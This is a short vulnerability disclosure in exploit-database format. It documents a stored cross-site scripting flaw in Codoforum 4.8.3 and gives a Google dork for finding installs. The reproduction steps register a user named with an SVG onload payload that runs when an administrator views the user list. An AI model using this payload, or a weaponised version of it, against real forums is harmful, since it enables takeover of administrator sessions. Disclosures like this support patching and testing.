# Exploit Title: Codoforum 4.8.3 - Persistent Cross-Site Scripting # Google Dork: intext:"Powered by Codoforum" # Date: 2020-01-03 # Exploit Author: Prasanth c41m, Vyshnav Vizz # Vendor Homepage: https://codoforum.com/index.php # Software Link: https://codoforum.com/buy # Version: Codoforum 4.8.3 # Tested on: [relevant os] # CVE : [if applicable] # source: https://medium.com/@c41m/b2e1133c6a91? Codoforum is prone to a stored xss vulnerability. An attacker can exploit this issue to creating user with payload and perform cross-site scripting attacks. Codoforum version 4.8.3 is vulnerable. 1. Install Codoforum 4.8.3 in a local server. 2. Goto http://localhost/index.php?u=/user/register 3. Create a user using :- username : "><svg/onload=alert(1)> password : password email : firstname.lastname@example.org 4. Now goto http://localhost/admin/index.php?page=users/manage, an XSS alert popup will be triggered here.